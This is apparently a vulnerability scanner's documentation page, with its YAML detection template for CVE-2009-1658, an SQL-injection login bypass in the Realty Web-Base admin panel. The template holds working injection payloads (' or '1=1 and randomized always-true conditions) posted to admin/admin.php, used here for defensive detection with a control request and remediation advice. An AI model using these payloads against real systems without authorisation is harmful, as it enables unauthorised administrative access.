Realty Web-Base — 1 vulnerability check

noctis ships 1 vulnerability check for Realty Web-Base, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Realty Web-Base admin/admin.php SQL injection authentication bypass

CVECVE-2009-1658
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/realty-web-base/CVE-2009-1658.yaml

Looks for the Realty Web-Base administration area (admin/index.php showing "Realty Webware" or "Realty Web-Base") under /cms, /realty and the web root. It then posts two logins to admin/admin.php whose user name and password are SQL conditions: an always-false one (<random>' or 'N'='M) and an always-true one (<random>' or 'N'='N). The finding fires when the true condition opens the "Realty Web-Base: Administration Center" page while the false one does not: both fields are evaluated inside the login SQL query and the password check is bypassed. An administration center that also opens for the false condition is reported separately, with lower confidence. When the injection gives no result but the page shows "Realty Webware 1.0" (the only release, never fixed), the CVE is reported from the version alone, with lower confidence. Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/admin/admin.php with a crafted body
  5. HTTP(S) request POST {{dir}}/admin/admin.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: Realty Web-Base admin/admin.php SQL injection authentication bypass
  8. Checks v.st for . → finding QoD 75: Realty Web-Base admin/admin.php SQL injection authentication bypass
  9. Checks v.st for . → finding QoD 50: Realty Web-Base administration center opens for an invalid login
  10. Checks fp.ver for ^1\.0$ → finding QoD 70: Realty Web-Base 1.0 admin/admin.php SQL injection (version)

References:

Feed source — tests/vulnerabilities/realty-web-base/CVE-2009-1658.yaml
# Realty Web-Base 1.0 admin/admin.php SQL injection authentication bypass (CVE-2009-1658).
#
# Ported from OpenVAS/Greenbone NVT `2009/realty_web_base_34886.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100195, GPL-2.0-only) and its detection
# `realty_web_base_detect.nasl` (GET <dir>/admin/index.php for /cms and the CGI dirs,
# 'Realty Webware [0-9.]+' + 'Set-Cookie: owner'). When the version is known, the NASL
# only reports version == 1.0; otherwise it POSTs
# user=' or '1=1&password=' or '1=1 to <dir>/admin/admin.php and reports
# 'Realty Web-Base: Administration Center' in the reply.
#
# Vulnerable code: not public (commercial product, vendor gone). EDB-8643 gives
# ' or '1=1 in both the user name and the password (or <admin>' or '1=1 with an empty
# password) — the fields are concatenated into WHERE user='…' AND password='…'.
#
# Better than the NASL:
#   - Always runs the injection instead of stopping at the version string (the NASL
#     detection almost always finds one, so its active probe practically never ran).
#   - Same payload shape with random operands: <rand>' or 'N'='N in both fields — true
#     whatever the order of the two conditions — and a control with a false condition
#     ('N'='M') that must NOT reach the administration center: QoD 97 true/false
#     differential. Control without a reply → QoD 75. Control also admitted → separate
#     QoD 50 hint without CVE (an admin page that greets everyone is not this bug).
#   - Version 1.0 (the only release, never fixed) with no injection result → QoD 70
#     version finding, so installs where the probe cannot work (magic_quotes_gpc,
#     a redirect after login, a num_rows == 1 check) are still reported as the NASL does.
#   - Fingerprint on the product name in admin/index.php (the "owner" cookie is not
#     required: http_request keeps only the last Set-Cookie header). Also tries /realty.
# Both requests are plain login attempts; nothing is read or written.
uid: 8e2e220d-ef55-475c-8042-8e5aed09407a
name: "Realty Web-Base admin/admin.php SQL injection authentication bypass"
description: >-
  Looks for the Realty Web-Base administration area (admin/index.php showing
  "Realty Webware" or "Realty Web-Base") under /cms, /realty and the web root.
  It then posts two logins to admin/admin.php whose user name and password are
  SQL conditions: an always-false one (<random>' or 'N'='M) and an always-true
  one (<random>' or 'N'='N). The finding fires when the true condition opens the
  "Realty Web-Base: Administration Center" page while the false one does not:
  both fields are evaluated inside the login SQL query and the password check is
  bypassed. An administration center that also opens for the false condition is
  reported separately, with lower confidence. When the injection gives no result
  but the page shows "Realty Webware 1.0" (the only release, never fixed), the
  CVE is reported from the version alone, with lower confidence. Both requests are ordinary login
  attempts; no data is read or changed.
category: sqli
cves: [CVE-2009-1658]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [realty-web-base, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1658"
  - "https://www.exploit-db.com/exploits/8643"
  - "http://www.securityfocus.com/bid/34886"

steps:
  # Shared random values: field prefixes and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/cms", "/realty", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: admin-index
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200 && ereg("Realty Web-?ware|Realty Web-Base", b, true);
      let m = eregmatch("Realty Webware ([0-9][0-9.]*)", b);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      #{ ok: ok, ver: ver }
    store_as: fp

  # Control: false condition of the same shape — must not log in.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/admin.php"
    body: "user={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}&password={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: ctl

  # Injection: always-true condition in both fields.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/admin.php"
    body: "user={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&password={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn center(r) {
        type_of(r) == "map" && type_of(r.body) == "string"
          && ereg("Realty Web-Base: Administration Center", r.body)
      }
      let hit = fp.ok && center(inj);
      let ctl_in = center(ctl);
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let ctl_desc = if ctl_none { "no reply" } else { "status " + ctl.status + ", no administration center" };
      #{ sqli: hit && !ctl_none && !ctl_in, sqli_noctl: hit && ctl_none,
         any: hit && ctl_in, v10: fp.ok && !hit && fp.ver == "1.0", st: if hit { "" + inj.status } else { "" }, ctl: ctl_desc }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2009-1658]
        title: "Realty Web-Base admin/admin.php SQL injection authentication bypass"
        description: "The Realty Web-Base administration login (admin/admin.php) concatenates the user name and password into its SQL query, so an unauthenticated attacker bypasses the password check and opens the administration center."
        confidence_delta: 0.65
        qod: 97
        evidence: "Realty Webware {{fp.ver}} at {{dir}}/admin/: POST {{dir}}/admin/admin.php with user and password ending in ' or '{{rv.n}}'='{{rv.n}} answered status {{v.st}} with the \"Realty Web-Base: Administration Center\" page; the same login with the false condition '{{rv.n}}'='{{rv.f}} did not ({{v.ctl}})."
        remediation: "Realty Web-Base is no longer maintained and no fixed release exists: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2009-1658]
        title: "Realty Web-Base admin/admin.php SQL injection authentication bypass"
        description: "The Realty Web-Base administration login (admin/admin.php) concatenates the user name and password into its SQL query, so an unauthenticated attacker bypasses the password check and opens the administration center."
        confidence_delta: 0.50
        qod: 75
        evidence: "Realty Webware {{fp.ver}} at {{dir}}/admin/: POST {{dir}}/admin/admin.php with user and password ending in ' or '{{rv.n}}'='{{rv.n}} answered status {{v.st}} with the \"Realty Web-Base: Administration Center\" page; the false-condition control login got no reply."
        remediation: "Realty Web-Base is no longer maintained and no fixed release exists: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
      stop: true

  - id: any-login
    action: match
    source: v.st
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        title: "Realty Web-Base administration center opens for an invalid login"
        description: "The Realty Web-Base admin/admin.php page showed the administration center both for an always-true and an always-false login condition. The administration area may be reachable without valid credentials; check it manually."
        confidence_delta: 0.20
        qod: 50
        evidence: "POST {{dir}}/admin/admin.php showed \"Realty Web-Base: Administration Center\" for user and password ending in ' or '{{rv.n}}'='{{rv.n}} and also for the false condition '{{rv.n}}'='{{rv.f}}."
        remediation: "Remove Realty Web-Base or restrict access to its admin/ directory to trusted users."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^1\\.0$"
    condition: "v.v10"
    on_match:
      finding:
        cves: [CVE-2009-1658]
        title: "Realty Web-Base 1.0 admin/admin.php SQL injection (version)"
        description: "The administration area identifies itself as Realty Webware 1.0, the release whose admin/admin.php login concatenates the user name and password into its SQL query. The login bypass probe did not open the administration center (for example because magic_quotes_gpc escapes the quotes, or the login answers with a redirect), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/admin/index.php shows \"Realty Webware {{fp.ver}}\"; the true-condition login to {{dir}}/admin/admin.php did not show the administration center."
        remediation: "Realty Web-Base is no longer maintained and no fixed release exists: remove it, or restrict access to its admin/ directory to trusted users and change the login query to a prepared statement."
      stop: true

View these feeds on GitHub